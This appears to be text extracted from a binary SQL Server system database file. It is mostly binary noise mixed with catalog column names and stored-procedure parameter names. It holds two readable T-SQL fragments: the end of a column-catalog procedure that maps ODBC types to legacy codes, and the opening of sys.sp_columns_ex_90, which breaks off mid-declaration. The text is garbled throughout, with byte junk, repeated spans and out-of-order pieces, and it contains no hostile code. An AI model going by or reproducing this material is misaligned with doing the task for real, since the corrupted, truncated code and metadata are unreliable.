                    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-)EpCu20-CREMARKS0-@@ICOLUMN_DEF0-44OSQL_DATA_TYPE0-44USQL_DATA_TYPE_900-44USQL_DATA_TYPE_280-44USQL_DATETIME_SUB0-44[SQL_DATETIME_SUB_900-88
WCHAR_OCTET_LENGTH0-88
]CHAR_OCTET_LENGTH_280-88
UORDINAL_POSITION0- KIS_NULLABLE0-!44MSS_IS_SPARSE0-"44USS_IS_COLUMN_SET0-#44QSS_IS_COMPUTED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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@H-6I:;`w-
X)rq#n/0-gestimated_completion_time0-88
Ecpu_time0-88
Ytotal_elapsed_time0-88
Mscheduler_id0-Mtask_address0-?reads0-Awrites0-Ological_reads0-88
Gtext_size0- 4Elanguage0-!4Kdate_format0-"44Idate_first0-#hhWquoted_identifier0-$hhIarithabort0-%hhWansi_null_dflt_on0-&hhOansi_defaults0-'hhOansi_warnings0-(hhMansi_padding0-)hhIansi_nulls0-*hhcconcat_null_yields_null0-+44ktransaction_isolation_level0-,88
Mlock_timeout0--88
Wdeadlock_priority0-.Grow_count0-/88
Iprev_error0-088
Inest_level0-188
]granted_query_memory0-2hhaexecuting_managed_code0-388
Egroup_id0-4Iquery_hash0-5Squery_plan_hash0-688
Kpdw_node_id0-BO@table_server0-BQ@table_catalog0-BK@table_name0-BO@table_schema0-BK@table_type0-M88
Gobject_id0-M88
Gschema_id0-M44Uprocedure_number0-M=type0-MWPROCEDURE_CATALOG0-MUPROCEDURE_SCHEMA0-MQPROCEDURE_NAME0-MQPARAMETER_NAME0-M	44UORDINAL_POSITION0-M
44QPARAMETER_TYPE0-M00]PARAMETER_HASDEFAULT0-MWPARAMETER_DEFAULT0-M
hhKIS_NULLABLE0-M44GDATA_TYPE0-M44MDATA_TYPE_900-M44MDATA_TYPE_280-M88
eCHARACTER_MAXIMUM_LENGTH0-M88
kCHARACTER_MAXIMUM_LENGTH_900-M88
kCHARACTER_MAXIMUM_LENGTH_280-M88
aCHARACTER_OCTET_LENGTH0-M88
gCHARACTER_OCTET_LENGTH_900-M88
gCHARACTER_OCTET_LENGTH_280-M44WNUMERIC_PRECISION0-M44ONUMERIC_SCALE0-MKDESCRIPTION0-MGTYPE_NAME0-MMTYPE_NAME_280-MSLOCAL_TYPE_NAME0-MYLOCAL_TYPE_NAME_280-M{SS_XML_SCHEMACOLLECTION_CATALOGNAME0-MySS_XML_SCHEMACOLLECTION_SCHEMANAME0-M kSS_XML_SCHEMACOLLECTIONNAME0-M!YSS_UDT_CATALOGNAME0-M"WSS_UDT_SCHEMANAME0-M#KSS_UDT_NAME0-M$@@eSS_UDT_ASSEMBLY_TYPENAME0-M%]SS_TYPE_CATALOG_NAME0-M&YSS_TYPE_SCHEMANAME0-M'44WMANAGED_DATA_TYPE0-M(88
_SS_DATETIME_PRECISION0-O@missing_cols0-88
S@relative_colid0-88
S@absolute_colid0-$$A@subid0-$$A@artid0-00K@range_type0-00O@ranges_given0-ll&M@range_begin0-ll&I@range_end0-ll&W@next_range_begin0-ll&S@next_range_endte_existing_row0-&	hhO@do_raiserror0-&
2Y@start_time_string0-&88
G@duration-0-S@monitor_server0-O@missing_cols0-88
S@relative_colid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!M4O/.~!qVb	i"1c,z-DA

J
a9

N

	g	"	d4|4EZ>e`H-D)	rt2K0-w!E@colname0-w!88
K@resolution0-w!>>5C@sample0-e8O@table_server0-e8K@table_name0-e8O@table_schema0-e8Q@table_catalog0-e8M@column_name0-e888
E@ODBCVer0-e8hhM@fUsePattern0-O@@Isql_handle0-O88
astatement_start_offset0-O88
]statement_end_offset0-O[plan_generation_num0-O@@Kplan_handle0-O==Ocreation_time0-O==[last_execution_time0-OSexecution_count0-O	Wtotal_worker_time0-O
Ulast_worker_time0-OSmin_worker_time0-OSmax_worker_time0-O
]total_physical_reads0-O[last_physical_reads0-OYmin_physical_reads0-OYmax_physical_reads0-O]total_logical_writes0-O[last_logical_writes0-OYmin_logical_writes0-OYmax_logical_writes0-O[total_logical_reads0-OYlast_logical_reads0-OWmin_logical_reads0-OWmax_logical_reads0-OQtotal_clr_time0-OOlast_clr_time0-OMmin_clr_time0-OMmax_clr_time0-OYtotal_elapsed_time0-OWlast_elapsed_time0-OUmin_elapsed_time0-O Umax_elapsed_time0-O!Iquery_hash0-O"Squery_plan_hash0-O#Itotal_rows0-O$Glast_rows0-O%Emin_rows0-O&Emax_rows0-O'88
Kpdw_node_id0-QhhM@from_backup0-kI@publisher0-kO@publisher_db0-kM@publication0-k88
K@agent_type0-khhY@exclude_anonymous0-|F88
I@object_id0-|FhhA@value0-Ӫ2?@type0-Ӫ2M@publication0-Ӫ2E@article0-thC@schema0-thM@object_name0-wf=@dir0-wfhhQ@ignore_errors0-nS44O@publisher_id0-nSO@publisher_db0-Kp88
G@agent_id0-IC@dbname!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>[
h

k~'
w

	j		YHMHSLm3E`DbG2s`
-#6)t s2W
0-788
A@objid0-88
Kpdw_node_id0-88
Iprocess_id0-Mprocess_name0-Uallocated_memory0-Uavailable_memory0-Wprocess_cpu_usage0-Stotal_cpu_usage0-Mthread_count0-	Mhandle_count0-
Ytotal_elapsed_time0-hhMis_available0-==Gsent_time0-
==Oreceived_time0-HHEerror_id0-x4xOresource_type0-x4xUresource_subtype0-88
]resource_database_id0-4]resource_description0-oresource_associated_entity_id0-88
cresource_lock_partition0-x4xMrequest_mode0-x4xMrequest_type0-	x4xQrequest_status0-
44crequest_reference_count0-88
Urequest_lifetime0-88
Yrequest_session_id0-
88
crequest_exec_context_id0-88
Yrequest_request_id0-l0G@sql_path0-l0I@data_path0-M@publication0-E@article0-K@subscriber0-S@destination_db0-<G@property0-@A@value0-I@publisher0-ŁM@publication0-Ł44Q@rowcount_only0-Ł00O@full_or_fast0-ŁhhS@shutdown_agent0-ŁI@publisher0-|88
K@article_id0-|K@index_name-Ohh0-OW@capture_instance0-OM@column_name0-OM@update_mask-nhh0-n88
S@system_type_id0-n88
K@max_length0-TGO@etiTableName0-OՙhhW@includeaddresses!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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time0-MH88
Ebackoffs0-MH88
Kpdw_node_id0-hhGis_hidden0-88
Qcolumn_ordinal0-4=name0-hhKis_nullable0-88
Qsystem_type_id0-4Usystem_type_name0-44Imax_length0-00Gprecision0-	00?scale0-
4Qcollation_name0-88
Muser_type_id0-4Yuser_type_database0-
4Uuser_type_schema0-4Quser_type_name0-@4@massembly_qualified_type_name0-88
Wxml_collection_id0-4cxml_collection_database0-4_xml_collection_schema0-4[xml_collection_name0-hhSis_xml_document0-hhWis_case_sensitive0-hheis_fixed_length_clr_type0-4Osource_server0-4Ssource_database0-4Osource_schema0-4Msource_table0-4Osource_column0-hhYis_identity_column0-hh_is_part_of_unique_key0-hhOis_updateable0-hhYis_computed_column0- hh]is_sparse_column_set0-!44eordinal_in_order_by_list0-"hhaorder_by_is_descending0-#44]order_by_list_length0-$88
Merror_number0-%88
Qerror_severity0-&88
Kerror_state0-'4Oerror_message0-ڡO@inputbitmap10-ڡO@inputbitmap20-ڡQ@resultbitmap30-iI@dbms_name0-iG@sql_type0-iI@dest_type0-i88
I@dest_prec0-i88
[@dest_create_params0-ihhQ@dest_nullable0-88
G@agent_id0-88
A@pubid0-88
I@runstatus0-G@comments0-PS@transaction_id0-88
[@transaction_status0-88
c@transactions_processed0-88
[@commands_processed0-	88
U@seconds_elapsed0-
K@subscriber0-O@subscriberdb0-hhY@perfmon_increment0-
hhI@log_error0-hh]@update_existing_row0-hhO@do_raiserror0-^44O@publisher_id0-^O@publisher_db0-^M@publication0-^44Q@subscriber_id0-^Q@subscriber_db0-^88
[@subscriber_version0-^K@subscriber0-
a@qualified_object_name0-$$A@subid0-$$A@artid0-00Q@ranges_needed0-hhg@refresh_check_constraint0-M@publication0-hhO@upload_first!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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-͚>>5?@maxx0-͚>>5?@maxy0-͚88
W@cells_per_object0-͚U@base_table_rows0-͚Y@index_total_pages0-͚O@results_card0-͚	U@internaltabname0-͚
00Q@do_output_xml0-͚K@xml_output0-͚00Q@verboseoutput0-͚
S@distinct_srids0-
C@Action0-U@UserNamePattern0-I@LoginName0-G@Password0-'?@name0-'bbPA@value0-'K@level0type0-'K@level0name0-'K@level1type0-'K@level1name0-'K@level2type0-'K@level2name0-d44Isession_id0-d88
Irequest_id0-d88
Mscheduler_id0-d44;dop0-d==Mrequest_time0-d==Igrant_time0-d[requested_memory_kb0-dWgranted_memory_kb0-d	Yrequired_memory_kb0-d
Qused_memory_kb0-dYmax_used_memory_kb0-d>>5Iquery_cost0-d
88
Ktimeout_sec0-d44_resource_semaphore_id0-d44Equeue_id0-d88
Iwait_order0-dhhWis_next_candidate0-dMwait_time_ms0-d@@Kplan_handle0-d@@Isql_handle0-d88
Egroup_id0-d88
Cpool_id0-dhhEis_small0-dSideal_memory_kb0-d88
Kpdw_node_id0-rG@unc_path0-rO@local_server0-rK@local_path0-DzM@publication0-DzI@publisher0-DzS@publisher_type0-DzhhI@usesqlclr0-M@publication0-88
G@freqtype0-88
O@freqinterval0-88
M@freqsubtype0-88
U@freqsubinterval0-88
_@freqrelativeinterval0-88
_@freqrecurrencefactor0-88
U@activestartdate0-	88
Q@activeenddate0-
88
_@activestarttimeofday0-88
[@activeendtimeofday0-88
K@newagentid0-
Y@snapshot_job_name0-88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-I@job_login0-O@job_password0-I@publisher0-DW@primary_database0-&[@secondary_database0-&88
Q@restore_delay0-&hhM@restore_all0-&hhO@restore_mode0-&hhW@disconnect_users0-&88
K@block_size0-&88
O@buffer_count0-&88
Y@max_transfer_size0-&	88
Y@restore_threshold0-&
88
U@threshold_alert0-&hhe@threshold_alert_enabled0-&88
g@history_retention_period0-&
hh]@ignoreremotemonitor0-G@srv_orig0-E@db_orig0-88
G@keep_cdcW@disconnect_users0-&88
K@block_size0-&88
O@buffer_count0-&88
Y@max_transfer_size0-&	88
Y@restore_threshold0-&
88
U@threshold_alert0-&hhe@threshold_alert_enabq~':U

9
L]
j

	_		A8fd8mH&E?L94/{.KVa\`*-v7)
v&f0-E88
]referencing_minor_id0-Eareferenced_server_name0-Eereferenced_database_name0-Eareferenced_schema_name0-Eareferenced_entity_name0-E_referenced_minor_name0-E88
Oreferenced_id0-E88
[referenced_minor_id0-E	00Ureferenced_class0-E
xx_referenced_class_desc0-Ehh[is_caller_dependent0-EhhMis_ambiguous0-E
hhKis_selected0-EhhIis_updated0-EhhOis_select_all0-Ehh]is_all_columns_found0-E
?@name0-ExY@referencing_class0-KC@dbname0-KI@filename10-KI@filename20-KI@filename30-KI@filename40-KI@filename50-KI@filename60-KI@filename70-K	I@filename80-K
I@filename90-KK@filename100-KK@filename110-K
K@filename120-KK@filename130-KK@filename140-KK@filename150-KK@filename160-S44_resource_semaphore_id0-SUtarget_memory_kb0-S]max_target_memory_kb0-SStotal_memory_kb0-S[available_memory_kb-s<Hhh0-s<HM@baseVersion0-s<HE@version0-mJ88
A@tabid0-QM@publication0-Q88
A@found0-Q$$S@publication_id0-Q(G@reserved0-QI@publisher0-QO@publisher_db0-N$$A@pubid0-N88
S@AlterTableOnly0-N88
Q@schemaversion0-Nhh@invalidateupload_schemachanges_for_ssce0-Nhho@filter_skipped_schemachangesress0-LSUWscheduler_address0-LSUGio_handle0-LSU	Gio_offset0-F8XC@server0-F8XK@srvproduct0-F8XG@provider0-F8X@E@datasrc0-F8X@G@location0-F8X@E@provstr0-F8XE@catalog0-F8XhhM@linkedstyle0-F8X	hhK@localentry0-cO@process_name0-c88
S@concurrent_max0-c88
Q@queue_timeout0-chh[@return_immediately0-cM@DbPrincipal0-Ex88
A@objid0-ExI@publisher0-ExO@publisher_db0-ExM@publication0-ExA@owner0-ExC@tranid0-Ex@?@data0-Ex88
E@datalen0-Ex	88
M@commandtype0-Ex
hhG@cmdstate-s<Hhh0-s<HM@baseVersion0-s<HE@version0-mJ88
A@tabid0-_`88
A@artid0-_`I@view_name0-_`hh[@include_timestamps0-Y@Q@originator_id0-Y@Y@origin_datasource0-Y@E@tran_id0-Y@C@row_id0-YS@conflict_table-@9U0-@9UC@column0-QM@publication0-Q88
A@found0-Q$$S@publication_id0-Q(G@reserved0-QI@publisher0-QO@publisher_db0-N$$A@pubidh!mZ.]tcNs&Pz'

7
		V	
	{2W

S
"
)>]NE`l	-
C)A
9wM0-Y
4Wcapabilities_desc0-Y4Kdescription0-]`K@table_name0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
M@resync_type0-<U@resync_date_str0-%hhI@within_db-]S0-]SM@object_name0-%
K@xact_seqno0-%I@publisher-j4bbP0-j488
S@publication_id0-j488
S@thresholdindex0-288
K@request_id0-F%088
G@agent_id0-F%088
I@runstatus0-F%0G@comments0-F%088
Q@delivery_time0-F%088
W@download_inserts0-F%088
W@download_updates0-F%088
W@download_deletes0-F%088
[@download_conflicts0-F%0	88
S@upload_inserts0-F%0
88
S@upload_updates0-F%088
S@upload_deletes0-F%088
W@upload_conflicts0-F%0
hhI@log_error0-F%0hhY@perfmon_increment0-F%0hh]@update_existing_row0-F%0hhS@updateable_row0-F%0hhO@do_raiserror0-F%0hh@called_by_nonlogged_shutdown_detection_agent0-F%088
]@session_id_override0-:VI@publisher0-:VO@publisher_db0-:VM@publication0-:VhhQ@show_security0-a7=name0-a7W@capture_instance0-A[$$A@pubid0-A[M@column_list0-A[88
O@source_objid0-A[K@guid_alias0-tM@publication0-tK@subscriber0-tQ@subscriber_db0-t88
U@support_options0-tK@web_server0-t88
O@log_severity0-t88
M@log_modules0-tQ@log_file_path0-t	Q@log_file_name0-t
88
Q@log_file_size0-t88
U@no_of_log_files0-t88
U@upload_interval0-t
88
]@delete_after_upload0-tQ@custom_script0-tU@message_pattern0-tG@agent_xe0-t_@agent_xe_ring_buffer0-tC@sql_xe0-V[88
G@art_nickd0-F%088
G@agent_id0-F%088
I@runstatus0-F%0G@comments0-F%088
Q@delivery_time0-F%088
W@download_inserts0-F%088
W@download_updates0-F%088
W@download_deletes0-F%088
[@download_conflicts0-F%0	88
S@upload_inserts0-F%0
88
S@upload_updates0-F%088
S@upload_deletes0-F%088
W@upload_conflicts0-F%0
hhI@log_error0-F%0hhY@perfmon_increment0-F%0hh]@update_existing_row0-F%0hhS@updateable_row0-F%0hhO@do_raiserror0-F%0hh@called_by_nonlogged_shutdown_detection_agent0-F%088
]@session_id_override0-:VI@publisher0-:VO@publisher_db0-:VM@publication0-:VhhQ@show_security0-a7=name0-a7W@capture_instance0-A[$$A@pubid0-A[M@column_list0-A[88
O@source_objid0-A[K@guid_alias-Z_mhh0-Z_m$$A@artid0-tM@publication
L
		_		SEd]7
R

Of
g

	n		ul}47P	c\i-Dp}2M`<nxC5$mnb              end,
        SQL_DATETIME_SUB        = case -- used to be temporary holder for DATETIME_PRECISION, update it here
                                      when #tmp_columns.DATA_TYPE in (@ODBC_DATETIME) and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = 0
                                            then 3 -- SQL_CODE_TIMESTAMP
                                      else null
                                  end,
        -- Info here is for backward compatibility - SQL 6.5
        SS_DATA_TYPE            = case
                                      when #tmp_columns.DATA_TYPE in ( @ODBC_TINYINT, @ODBC_SMALLINT, @ODBC_INT )
                                          and #tmp_columns.NULLABLE = 1
                                              then @ODS_INT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_TINYINT and #tmp_columns.NULLABLE = 0
                                          then @ODS_TINYINT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_SMALLINT    and #tmp_columns.NULLABLE = 0
                                          then @ODS_SMALLINT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_INT  and #tmp_columns.NULLABLE = 0
                                          then @ODS_INT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_REAL, @ODBC_FLOAT) and #tmp_columns.NULLABLE = 1
                                          then @ODS_FLOAT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_REAL and #tmp_columns.NULLABLE = 0
                                          then @ODS_REAL_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_FLOAT and #tmp_columns.NULLABLE = 0
                                          then @ODS_FLOAT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and #tmp_columns.NULLABLE = 1
                                          then @ODS_MONEY_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and #tmp_columns.NULLABLE = 0
                                          then @ODS_MONEY_NOT_NULL
                                      -- New date/time types introduced in Katmai return 0
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then 0
                                      when #tmp_columns.DATA_TYPE in (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then 0
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and #tmp_columns.NULLABLE = 1
                                          then @ODS_DATETIME_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and #tmp_columns.NULLABLE = 0
                                          then @ODS_DATETIME_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_NTEXT, @ODBC_TEXT)
                                          then @ODS_TEXT
                                      when #tmp_columns.DATA_TYPE = @ODBC_BIT
                                          then @ODS_BIT
                                      when #tmp_columns.DATA_TYPE = @ODBC_DECIMAL
                                          then @ODS_DECIMAL
                                      when #tmp_columns.DATA_TYPE = @ODBC_NUMERIC
                                          then @ODS_NUMERIC
                                      when #tmp_columns.DATA_TYPE = @ODBC_GUID
                                          then @ODS_GUID
                                      when #tmp_columns.DATA_TYPE = @ODBC_IMAGE
                                          then @ODS_IMAGE
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIMESTAMP
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                              (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                              BUFFER_LENGTH = 8
                                          then @ODS_TIMESTAMP
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and #tmp_columns.NULLABLE =  1
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                          then  @ODS_BINARY_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and #tmp_columns.NULLABLE =  0
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                          then @ODS_BINARY_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_VARBINARY
                                          then @ODS_VARBINARY
                                      when #tmp_columns.DATA_TYPE in (@ODBC_CHAR, @ODBC_NCHAR) and #tmp_columns.NULLABLE = 1
                                          then @ODS_CHAR_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_CHAR, @ODBC_NCHAR) and #tmp_columns.NULLABLE = 0
                                          then @ODS_CHAR_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_VARCHAR, @ODBC_NVARCHAR)
                                          then @ODS_VARCHAR
                                      else null
                                  end
        from
            sys.spt_datatype_info spt_dt
        where
            spt_dt.DATA_TYPE = #tmp_columns.DATA_TYPE and
            spt_dt.ODBCVer = @ODBCVer and
            spt_dt.AUTO_INCREMENT = 0 and
            spt_dt.TYPE_NAME <> 'smalldatetime' and
            spt_dt.TYPE_NAME <> 'xml' -- DATA_TYPE for ntext and xml are the same, so allow just ntext here.
    --
    -- Final result is retunrned from the temporary table.
    --
    select
        TABLE_CAT,
        TABLE_SCHEM,
        TABLE_NAME,
        COLUMN_NAME,
        DATA_TYPE,
        TYPE_NAME,
        COLUMN_SIZE,
        BUFFER_LENGTH,
        DECIMAL_DIGITS,
        NUM_PREC_RADIX,
        NULLABLE,
        REMARKS,
        COLUMN_DEF,
        SQL_DATA_TYPE,
        SQL_DATETIME_SUB,
        CHAR_OCTET_LENGTH,
        ORDINAL_POSITION,
        IS_NULLABLE,
        SS_DATA_TYPE
    from
        #tmp_columns
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, ORDINAL_POSITION

    drop table #tmp_columns
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(y5|LÎvU0
create procedure sys.sp_columns_ex_90
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @column_name        sysname = null,
    @ODBCVer            int = 2,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare
        @DBCOLUMNFLAGS_ISFIXEDLENGTH binary(1), @DBCOLUMNFLAGS_ISLONG   binary(1),
        @DBCOLUMNFLAGS_ISROWVER binary(2),      @DBCOLUMNFLAGS_SS_ISVARIABLESCALE binary(4)

    select
        @DBCOLUMNFLAGS_ISFIXEDLENGTH = 0x10,    @DBCOLUMNFLAGS_ISLONG   = 0x80,
        @DBCOLUMNFLAGS_ISROWVER      = 0x0200,  @DBCOLUMNFLAGS_SS_ISVARIABLESCALE = 0x40000000

    declare
        @DBTYPE_I2 smallint,            @DBTYPE_I4 smallint,
        @DBTYPE_R4 smallint,            @DBTYPE_R8 smallint,
        @DBTYPE_CY smallint,            @DBTYPE_DATE smallint,
        @DBTYPE_BSTR smallint,          @DBTYPE_BOOL smallint,
        @DBTYPE_VARNUMERIC smallint,    @DBTYPE_DECIMAL smallint,
        @DBTYPE_UI1 smallint,           @DBTYPE_BYREF smallint,
        @DBTYPE_I1 smallint,            @DBTYPE_UI2 smallint,
        @DBTYPE_UI4 smallint,           @DBTYPE_I8 smallint,
        @DBTYPE_UI8 smallint,           @DBTYPE_GUID smallint,
        @DBTYPE_BYTES smallint,         @DBTYPE_STR smallint,
        @DBTYPE_WSTR smallint,          @DBTYPE_NUMERIC smallint,
        @DBTYPE_DBDATE smallint,        @DBTYPE_DBTIME smallint,
        @DBTYPE_DBTIMESTAMP smallint,   @DBTYPE_XML smallint,
        @DBTYPE_DBTIME2 smallint,       @DBTYPE_DBTIMESTAMPOFFSET smallint

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    select
        @DBTYPE_I2          = 2,    @DBTYPE_I4          = 3,
        @DBTYPE_R4          = 4,    @DBTYPE_R8          = 5,
